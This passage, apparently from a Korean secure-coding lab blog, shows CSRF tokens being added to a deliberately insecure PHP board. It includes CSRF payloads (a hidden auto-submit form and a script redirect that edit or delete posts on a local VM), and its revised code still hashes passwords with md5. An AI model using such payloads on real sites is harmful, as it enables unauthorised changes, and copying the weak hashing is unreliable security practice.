&amp;lt;form action=&quot;http://192.168.56.1/insecure_website/action.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;title&quot; value=&quot;해커가 무단으로 수정한 게시글&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;idx&quot; value=&quot;57&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;content&quot; value=&quot;해커가 수정함&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;test&quot;&amp;gt;
&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;modify&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;680&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8ItSx/btsMakYrXXz/feDxUEKZX0HKRYbL2fvK0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8ItSx/btsMakYrXXz/feDxUEKZX0HKRYbL2fvK0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8ItSx/btsMakYrXXz/feDxUEKZX0HKRYbL2fvK0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8ItSx%2FbtsMakYrXXz%2FfeDxUEKZX0HKRYbL2fvK0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;783&quot; height=&quot;680&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;680&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 관리자 계정에서 해당 게시글을 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3epRG/btsL87eJc6g/n4KFqQeQa1MqJ6067YksHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3epRG/btsL87eJc6g/n4KFqQeQa1MqJ6067YksHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3epRG/btsL87eJc6g/n4KFqQeQa1MqJ6067YksHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3epRG%2FbtsL87eJc6g%2Fn4KFqQeQa1MqJ6067YksHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;887&quot; height=&quot;545&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 비정상적인 접근으로 인식하여 에러 메시지가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;245&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ORUYR/btsL89jhkuR/rKutpeFiiaY5bUqX2CWv40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ORUYR/btsL89jhkuR/rKutpeFiiaY5bUqX2CWv40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ORUYR/btsL89jhkuR/rKutpeFiiaY5bUqX2CWv40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FORUYR%2FbtsL89jhkuR%2FrKutpeFiiaY5bUqX2CWv40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;890&quot; height=&quot;245&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;245&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커가 지정한 57번 게시글 또한 수정되지 않았음을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rGNqc/btsMaQilSP4/A64XvyfntgQkTQsbFY1MH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rGNqc/btsMaQilSP4/A64XvyfntgQkTQsbFY1MH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rGNqc/btsMaQilSP4/A64XvyfntgQkTQsbFY1MH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrGNqc%2FbtsMaQilSP4%2FA64XvyfntgQkTQsbFY1MH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;887&quot; height=&quot;594&quot; data-origin-width=&quot;887&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 삭제 부분에 대한 CSRF 공격 방어도 적용해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index.php 의 view 페이지에 csrf token 함수를 추가해준다. (추가해주지 않는 경우 게시글 삭제가 불가능함)&lt;/p&gt;
&lt;pre id=&quot;code_1738838789173&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  @session_start();
  include_once(&quot;./common.php&quot;);
  $page = $_GET[&quot;page&quot;];

  if(empty($page)) {
    $page = &quot;list.php&quot;;
  } else if ($page == &quot;mypage&quot;) {
    $page = &quot;mypage.php&quot;;
  } else if ($page == &quot;login&quot;) {
    $page = &quot;login.php&quot;;
  } else if ($page == &quot;join&quot;) {
    $page = &quot;join.php&quot;;
  } else if ($page == &quot;pingcheck&quot;) {
    $page = &quot;pingcheck.php&quot;;
  } else if ($page == &quot;xmlparser&quot;) {
    $page = &quot;xmlparser.php&quot;;
  } else if ($page == &quot;write&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;write.php&quot;;
  } else if ($page == &quot;view&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;view.php&quot;;
  } else if ($page == &quot;modify&quot;) {
    $csrf_token = csrf_token_create();
    $page = &quot;modify.php&quot;;
  } else if ($page == &quot;auth&quot;) {
    $page = &quot;auth.php&quot;;
  } else if ($page == &quot;error&quot;) {
    $page = &quot;error.php&quot;;
  } else {
    echo &quot;&amp;lt;script&amp;gt;location.href='index.php?page=error&amp;amp;value={$page}';&amp;lt;/script&amp;gt;&quot;;
  }

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;view.php 에서 먼저 삭제 로직을 수정해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 view.php -&amp;gt; auth 페이지(패스워드 입력) -&amp;gt; action 페이지(패스워드 검증)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변경 view.php -&amp;gt; action 페이지(패스워드 검증)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; 이전 view.php 의 delete 부분 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738837948669&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;		&amp;lt;div class=&quot;text-right&quot;&amp;gt;
			&amp;lt;? if($_SESSION[&quot;id&quot;] == $row[&quot;id&quot;]) { ?&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-outline-secondary&quot; onclick=&quot;location.href='index.php?page=modify&amp;amp;idx=&amp;lt;?=$row[&quot;idx&quot;]?&amp;gt;'&quot;&amp;gt;Modify&amp;lt;/button&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-outline-danger&quot; onclick=&quot;location.href='index.php?page=auth&amp;amp;mode=delete&amp;amp;idx=&amp;lt;?=$row[&quot;idx&quot;]?&amp;gt;'&quot;&amp;gt;Delete&amp;lt;/button&amp;gt;
			&amp;lt;? } ?&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-outline-warning&quot; onclick=&quot;location.href='index.php'&quot;&amp;gt;List&amp;lt;/button&amp;gt;
		&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; 변경된 view.php delete 부분 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738838077157&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;		&amp;lt;div class=&quot;text-right&quot;&amp;gt;
			&amp;lt;? if($_SESSION[&quot;id&quot;] == $row[&quot;id&quot;]) { ?&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-outline-secondary&quot; onclick=&quot;location.href='index.php?page=modify&amp;amp;idx=&amp;lt;?=$row[&quot;idx&quot;]?&amp;gt;'&quot;&amp;gt;Modify&amp;lt;/button&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-outline-danger&quot; onclick=&quot;location.href='action.php?mode=delete&amp;amp;idx=&amp;lt;?=$row[&quot;idx&quot;]?&amp;gt;&amp;amp;csrf_token=&amp;lt;?=$csrf_token?&amp;gt;'&quot;&amp;gt;Delete&amp;lt;/button&amp;gt;
			&amp;lt;? } ?&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-outline-warning&quot; onclick=&quot;location.href='index.php'&quot;&amp;gt;List&amp;lt;/button&amp;gt;
		&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;action.php 의 delete 부분에도 기존 POST 방식에서 GET 방식으로 변경해준다.&lt;/p&gt;
&lt;pre id=&quot;code_1738838176773&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;else if($mode == &quot;delete&quot;) {
		$idx = $_GET[&quot;idx&quot;];
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);

		if(!is_numeric($idx)) {
			echo &quot;&amp;lt;script&amp;gt;alert('숫자 값만 가능합니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관리자 계정으로 게시글 작성 후 정상적으로 삭제가 되는지 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 정상적으로 삭제가 되지 않는다면 코드에 오타가 있거나 index.php 의 view 부분에 csrf token 함수를 적용시키지 않아서 발생할 수도 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;525&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qUBWL/btsMalXpPjs/cz1jd7KNAYKUmeshMprMak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qUBWL/btsMalXpPjs/cz1jd7KNAYKUmeshMprMak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qUBWL/btsMalXpPjs/cz1jd7KNAYKUmeshMprMak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqUBWL%2FbtsMalXpPjs%2Fcz1jd7KNAYKUmeshMprMak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;882&quot; height=&quot;525&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;525&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delete 를 누르니 정상적으로 삭제되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byoyze/btsL8MI0vWo/E7IGksuXAxKMRwnyCMawKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byoyze/btsL8MI0vWo/E7IGksuXAxKMRwnyCMawKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byoyze/btsL8MI0vWo/E7IGksuXAxKMRwnyCMawKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbyoyze%2FbtsL8MI0vWo%2FE7IGksuXAxKMRwnyCMawKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;882&quot; height=&quot;500&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF 무단 삭제 공격을 위해 관리자 계정으로 게시글을 작성한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;892&quot; data-origin-height=&quot;549&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NSmC9/btsL90MPhPb/ihQCMeDUKdEuvqE2EqRtx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NSmC9/btsL90MPhPb/ihQCMeDUKdEuvqE2EqRtx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NSmC9/btsL90MPhPb/ihQCMeDUKdEuvqE2EqRtx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNSmC9%2FbtsL90MPhPb%2FihQCMeDUKdEuvqE2EqRtx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;892&quot; height=&quot;549&quot; data-origin-width=&quot;892&quot; data-origin-height=&quot;549&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMWare 에서 해커 계정으로 접속 후, 무단을 게시글을 삭제하는 CSRF 공격 페이로드를 작성 후 게시글에 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=62 게시글이 삭제되도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 무단 삭제 게시글&lt;/p&gt;
&lt;pre id=&quot;code_1738839103854&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;location.href='http://192.168.56.1/insecure_website/action.php?mode=delete&amp;amp;idx=62'&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/weAsu/btsMcRBujp2/araoPhPKKK3mpMUe1yfEYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/weAsu/btsMcRBujp2/araoPhPKKK3mpMUe1yfEYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/weAsu/btsMcRBujp2/araoPhPKKK3mpMUe1yfEYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FweAsu%2FbtsMcRBujp2%2FaraoPhPKKK3mpMUe1yfEYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;901&quot; height=&quot;628&quot; data-origin-width=&quot;901&quot; data-origin-height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 PC의 관리자 계정으로 해당 게시글을 클릭해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfASeJ/btsL96GcdDH/1i1PeAhXIkYP3Wk0VtYgr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfASeJ/btsL96GcdDH/1i1PeAhXIkYP3Wk0VtYgr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfASeJ/btsL96GcdDH/1i1PeAhXIkYP3Wk0VtYgr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfASeJ%2FbtsL96GcdDH%2F1i1PeAhXIkYP3Wk0VtYgr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;883&quot; height=&quot;546&quot; data-origin-width=&quot;883&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접근 시 아래와 같이 비정상 접근으로 확인되어 에러 메시지가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RUaMg/btsMcBezsnI/UToLw8ekj576B2ktPOa3E1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RUaMg/btsMcBezsnI/UToLw8ekj576B2ktPOa3E1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RUaMg/btsMcBezsnI/UToLw8ekj576B2ktPOa3E1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRUaMg%2FbtsMcBezsnI%2FUToLw8ekj576B2ktPOa3E1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;237&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습6-5 취약 환경 시큐어 코딩 적용 실습-2&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;실습 2) 회원 정보 수정 / 패스워드 수정 / 탈퇴 기능에 대한 시큐어 코딩 적용&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;회원 정보 수정 및 패스워드 수정 기능에 대해서는 CSRF Token 적용이 필요하지는 않다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;대부분 웹 사이트에서는 회원 정보 수정을 위해서는 기존 패스워드 입력을 받고 있기 때문이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;기존 패스워드를 입력 받는 이유는 CSRF 공격 및 세션을 탈취당했을 때에 대한 방어를 위해서 입력 받는다. (기존 패스워드가 인증 기능을 함)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;무단으로 회원 정보 수정을 하는 CSRF 공격을 하기 위해서는 해당 계정의 패스워드를 알고 있어야 가능하다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;회원 정보 수정 및 패스워드 수정 기능에 대해서는 대부분의 웹 사이트들이 진행하는 로직처럼 기존의 패스워드를 입력받는 형태로 진행한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;MyPage 부분의 코드를 수정한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;코드 위치: C:\APM_Setup\htdocs\insecure_website\mypage.php&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php 내 패스워드 로직 검증 추가 및 변경할 패스워드 항목 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1738945354798&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	#$id = $db_conn-&amp;gt;real_escape_string($_GET[&quot;id&quot;]);
	$id = $_SESSION[&quot;id&quot;];
	$gubun = $_POST[&quot;gubun&quot;];

	if($gubun == &quot;action&quot;) {
		$name = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;name&quot;]));
		$email = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;email&quot;]));
		$company = xss_html_entity($db_conn-&amp;gt;real_escape_string($_POST[&quot;company&quot;]));
		$password = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password&quot;]);
		$password1 = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password1&quot;]);
		$password2 = $db_conn-&amp;gt;real_escape_string($_POST[&quot;password2&quot;]);
		
		# Password Check Logic
		$password = md5($password);
		$query = &quot;select * from members where id='{$id}' and password='{$password}'&quot;;
		$result = $db_conn-&amp;gt;query($query);
		$num = $result-&amp;gt;num_rows;

		if($num == 0) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}

		if(!empty($password1) &amp;amp;&amp;amp; !empty($password2)) {
			if ($password1 != $password2) {
				echo &quot;&amp;lt;script&amp;gt;alert('변경할 패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
				exit();
			}
			$password = md5($password1);
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		} else {
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		}
		echo &quot;&amp;lt;script&amp;gt;alert('회원정보 수정완료');&amp;lt;/script&amp;gt;&quot;;
	}

	$query = &quot;select * from members where id='{$id}'&quot;;

	$result = $db_conn-&amp;gt;query($query);
